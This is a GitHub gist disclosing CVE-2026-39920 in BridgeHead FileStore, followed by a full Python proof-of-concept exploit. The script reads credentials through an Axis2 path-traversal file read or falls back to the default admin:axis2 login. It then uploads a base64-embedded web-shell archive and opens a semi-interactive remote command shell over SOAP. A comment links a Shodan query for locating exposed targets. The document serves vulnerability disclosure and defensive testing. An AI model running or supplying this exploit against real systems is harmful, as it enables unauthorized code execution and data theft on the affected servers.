Skip to content

Instantly share code, notes, and snippets.

@VAMorales
Created April 24, 2026 11:57
Show Gist options
  • Select an option

  • Save VAMorales/9e6a13d7529c079a363930dff48be3ba to your computer and use it in GitHub Desktop.

Select an option

Save VAMorales/9e6a13d7529c079a363930dff48be3ba to your computer and use it in GitHub Desktop.
BridgeHead Software - BridgeHead FileStore Apache Axis2 Default Credentials RCE (CVE-2026-39920)

Exploit Title: BridgeHead Software - BridgeHead FileStore Apache Axis2 Default Credentials RCE

Disclosure Date: 4/24/2026

Exploit Authors: Victor A. Morales of GM Sectec, Corp.

Known Affected Versions: < 24A

Description

BridgeHead FileStore versions prior to 24A (released in early 2024) expose the Apache Axis2 administration module on network-accessible endpoints with default credentials that allows unauthenticated remote attackers to execute arbitrary OS commands. Attackers can authenticate to the admin console using default credentials, upload a malicious Java archive as a web service, and execute arbitrary commands on the host via SOAP requests to the deployed service.

PoC

Modify the script to use any of the following endpoints if available:

• http://<TARGET_IP>:8080/MedRestoreWebService

• http://<TARGET_IP>:8080/SQLRestoreWebService

• http://<TARGET_IP>:8080/FileStoreWebService

#!/usr/bin/python3

# Author: Victor A. Morales
# Default BridgeHead FileStore port 8447
# Default BridgeHead FileStore Legacy URL: http://<IP>:8080/FileStoreWebService/axis2-web/index.jsp

import socket
import sys
import requests
import re
import base64
import random
import string
from requests_toolbelt.multipart.encoder import MultipartEncoder
from time import sleep

# https://www.shodan.io/search?query=http.favicon.hash%3A834837478

def generate_random_string(string_length=6):
    letters_and_digits = string.ascii_letters + string.digits
    return ''.join(random.choice(letters_and_digits) for i in range(string_length))

def payload(string):
	data = f"""
	<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://ws.apache.org/axis2">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <urn:execute>
           <urn:args0>{string}</urn:args0>
        </urn:execute>
     </SOAP-ENV:Body>
	</SOAP-ENV:Envelope>
	"""
	return data

if __name__ == "__main__":
	if len(sys.argv) != 2:
		print("Usage: python3 bhfilestore-pwn.py <IP>")
		sys.exit()
	ip = sys.argv[1]
	# Default Apache Axis2 port
	port = 8080

	# Requests 10 second timeout
	timeout = 10

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	# wsshell.java compiled with Amazon Corretto Java Version 1.8.0_332
	# https://github.com/tudorthe1ntruder/axis2-webservice-aar-shell/blob/master/wsshell.java
	compiled_version = "1.8.0_332"
	wsshell_jar_b64 = "UEsDBBQACAgIAMK2M1YAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgICADCtjNWAAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAmY6xnEWxoqaPgXJSbnpCo45xcV5BcllgCVa/Jy8XIBAFBLBwhGKoOiQwAAAEQAAABQSwMEFAAICAgAamwzVgAAAAAAAAAAAAAAABUAAABNRVRBLUlORi9zZXJ2aWNlcy54bWxVj0EKgzAURNcK3iHkAAl0Hd24LhR7gk861dBoQr61Hr+pFUv/5i9m5g1jGGlxFk1VFiZSohEzkpjyr+X1q7WemKXwwT5wq+WdPEM2L+YB3ht9pDZGiEg0uzDtDKywzzn7s1iYEczUo4OFW3KP/aBrGVKvKJIdoGh1fFIpWpV2E6vu0p7/g1JvZfpoa0S+qjT6t+cNUEsHCLQHmKWUAAAA2wAAAFBLAwQUAAgICABatjNWAAAAAAAAAAAAAAAADQAAAHdzc2hlbGwuY2xhc3ONVNtS01AUXae0OSWEa4ESFRQvUK5VRJSCoCAo2gKCI9MZRwzpoQZL0mkT5Y98xZfWkRkfffAT/Ad/Qdwnba1VZjQP+yT7tta+nHz98ekzgGlsqejBkIphxKQYUTGKMSnGOSY4JlVwxFUouB7GDXlOcdxUockYDdNh3JLnjIrbuMMxq6ILCY45jnkGZd6yLXeBoSk28pwhuOxkBEN70rLFune4JwrPjL0cabg4Eqbn0ttQLHlgvDXiOcPOxrfdgmVn50b+VjG0bruG+SZl5P0UPuBdjgWORY57PvNZBnXb8QqmWLUkiPauWHwtcrlJmU1DL6Lkr+E+ljQs4wFFaljBqoaHeMTQ62NaTnzJ298XBZHZEkZGFBj0mmHNznsu8RHGYcUmc65J8ZiBWvIESYbon9SXPCvn+6awzsBUDRtIEmUNm4gyROr+K0emyLuWY2t4KlPxKn+GjrrTxt6BMN0GVQWHobOu2vJs1zoUDbrNgmOKYrEG2VgQtS4r3F9hPbHfZ1BV0xCCcm4Mw/8YWhVqTtZgWO6qU/A3Yo2hjVAaYKM1pEY+FNoXO9Mg9ypSN1Um4WvDZM/IVWPojp25Q4qRzws7wzDxX1tXHR0Fhl2n1uWQmXOKotKvFBVpZAUG0U13Sj4BMLloJPvoq59OWg2ERstgH+iFtomk4iul6RzOV12/I4QwneIjAqnxsRKa1idKCO6QCCWCJ1DSJ+BpPVhGuIzmRIgllC41wfVQCS3phPIFgyfQ0mW06ryENl0h0dVOooSOBH9/+k0PltCp8+PUeAmRY5/AS+zS3Q34lGbQ6hML0uVXiUg7mqki+X9ooT+Dhkmyz6INO+jAC4raRQSvqOoLFDWFplNyCHP0cwxwXOS4xDHIcdn/HABip5Q2ULGDcVwh/Kt+t679BFBLBwh4CgpZqwIAAJcEAABQSwECFAAUAAgICADCtjNWAAAAAAIAAAAAAAAACQAEAAAAAAAAAAAAAAAAAAAATUVUQS1JTkYv/soAAFBLAQIUABQACAgIAMK2M1ZGKoOiQwAAAEQAAAAUAAAAAAAAAAAAAAAAAD0AAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIUABQACAgIAGpsM1a0B5illAAAANsAAAAVAAAAAAAAAAAAAAAAAMIAAABNRVRBLUlORi9zZXJ2aWNlcy54bWxQSwECFAAUAAgICABatjNWeAoKWasCAACXBAAADQAAAAAAAAAAAAAAAACZAQAAd3NzaGVsbC5jbGFzc1BLBQYAAAAABAAEAPsAAAB/BAAAAAA="
	wsshell_jar = base64.b64decode(wsshell_jar_b64)
	wsshell_random_name = generate_random_string()
	wsshell_random_name_ext = f"{wsshell_random_name}.aar"

	# Check if Apache Axis2 page exists
	legacyURL = f"http://{ip}:8080/FileStoreWebService/axis2-web/index.jsp"
	response = requests.get(legacyURL,allow_redirects=False,timeout=timeout)
	if '<title>Axis 2 - Home</title>' in response.text:
		print("[+] Apache Axis2 is present!")

		# Check Java Version in Apache Axis2 Happiness Page
		happyaxisURL = f"http://{ip}:8080/FileStoreWebService/axis2-web/HappyAxis.jsp"
		response = requests.get(happyaxisURL,allow_redirects=False,timeout=timeout)
		if '<title>Axis2 Happiness Page</title>' in response.text:
			java_version = re.findall(">java.version</th><td style='border: .5px #A3BBFF solid;'>(.*?)&nbsp;</td><tr>", response.text)
			if len(java_version):
				java_version = java_version[0]
				if java_version == compiled_version:
					print(f"[+] Target running matching Java version {compiled_version}!")
				else:
					print(f"[0] Target running different Java version {java_version} and exploit may not work! Proceeding anyway...")
			else:
				print("[-] Could not determine Java version!")
		else:
			print("[-] Apache Axis2 Happiness Page could not be reached!")

		# Attempt to get credentials from Apache Axis2 LFI
		lfiaxis2 = f"http://{ip}:8080/FileStoreWebService/services/Version?xsd=../conf/axis2.xml"
		response = requests.get(lfiaxis2,allow_redirects=False,timeout=timeout)
		axisusername = re.findall('<parameter name="userName">(.*?)</parameter>', response.text)
		axispassword = re.findall('<parameter name="password">(.*?)</parameter>', response.text)
		if len(axisusername) and len(axispassword):
			axisusername = axisusername[0]
			axispassword = axispassword[0]
			print(f"[+] Apache Axis2 LFI worked! Credentials ({axisusername} : {axispassword})")
		else:
			print("[-] Apache Axis2 LFI failed! Trying with default credentials (admin : axis2)")
			axisusername = "admin"
			axispassword = "axis2"

		# Go to Administration page to obtain JSESSIONID cookie
		response = requests.get(f"http://{ip}:8080/FileStoreWebService/axis2-admin/",allow_redirects=False,timeout=timeout)
		if 'Set-Cookie' in response.headers.keys() and 'JSESSIONID' in response.headers['Set-Cookie']:
			# Apache Axis2 Login
			cookies = {'JSESSIONID': response.headers['Set-Cookie'].replace('JSESSIONID=','').split(';')[0]}
			data = {'userName': axisusername,'password': axispassword,'submit': ' Login '}
			response = requests.post(f"http://{ip}:8080/FileStoreWebService/axis2-admin/login",cookies=cookies,data=data,allow_redirects=False,timeout=timeout)
			if '<title>Axis2 :: Administration Page</title>' in response.text:
				print("[+] Successful login to Apache Axis2 Administration Page!")

				# Upload wsshell.aar JAR file
				multipart_data = MultipartEncoder(fields={'filename': (wsshell_random_name_ext, wsshell_jar)})
				headers = {'Content-Type': multipart_data.content_type}
				response = requests.post(f"http://{ip}:8080/FileStoreWebService/axis2-admin/upload",cookies=cookies,headers=headers,data=multipart_data,allow_redirects=False,timeout=timeout)

				# Apache Axis2 Logout
				logout_response = requests.get(f"http://{ip}:8080/FileStoreWebService/axis2-admin/logout",cookies=cookies,allow_redirects=False,timeout=timeout)
				logout = "[-] Error during Apache Axis2 logout!"
				if '<title>Axis 2 - Home</title>' in logout_response.text:
					logout = "[+] Successful logout of Apache Axis2!"
				if 'successfully uploaded </font><br/><br/>' in response.text:
					print(f"[+] Uploaded {wsshell_random_name_ext}!")
					print(logout)
					
					# Wait for web service to be loaded to Apache Axis2
					print("[*] Sleeping for 15 seconds and executing 'whoami' command...")
					sleep(15)
					headers = {'SOAPAction': '"urn:execute"','Content-Type': 'text/xml', "Accept-Encoding": "gzip, deflate","Accept": "*/*","Connection": "close"}
					data = payload("whoami")
					response = requests.post(f"http://{ip}:8080/FileStoreWebService/services/{wsshell_random_name}/execute",headers=headers,data=data,allow_redirects=False,timeout=timeout)
					if response.status_code == 500:
						print("[-] Service may not have loaded or is faulty! Retrying in 5 seconds...")
						sleep(5)
						response = requests.post(f"http://{ip}:8080/FileStoreWebService/services/{wsshell_random_name}/execute",headers=headers,data=data,allow_redirects=False,timeout=timeout)
						if response.status_code == 500:
							print("[-] Something went wrong with the service!")
							sys.exit()
					if "<ns:return>" in response.text:
						start = response.text.index("<ns:return>") + len("<ns:return>")
						end = response.text.index("</ns:return>")
						result = response.text[start:end]
						print(result)
					
					# Semi-interactive shell
					cmd_input = ""
					while True:
						try:
							cmd_input = str(input("> "))
							if cmd_input == "exit":
								break
							data = payload(cmd_input)
							response = requests.post(f"http://{ip}:8080/FileStoreWebService/services/{wsshell_random_name}/execute",headers=headers,data=data,allow_redirects=False,timeout=timeout)
							match = re.search(r'<ns:return>(.*?)</ns:return>', response.text)
							if "<ns:return>" in response.text:
								start = response.text.index("<ns:return>") + len("<ns:return>")
								end = response.text.index("</ns:return>")
								result = response.text[start:end]
								print(result)
						except KeyboardInterrupt:
							break

					print(f"[!] Remember to do manual cleanup of {wsshell_random_name_ext}!")
					print("[*] Default directory path: 'C:\\Program Files (x86)\\Apache Software Foundation\\Tomcat 8.5\\temp\\0-FileStoreWebService\\WEB-INF\\services\\'")
				else:
					print(f"[-] Failed during {wsshell_random_name_ext} file upload! Something went wrong...")
			else:
				print("[-] Failed login to Apache Axis2! Something went wrong...")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment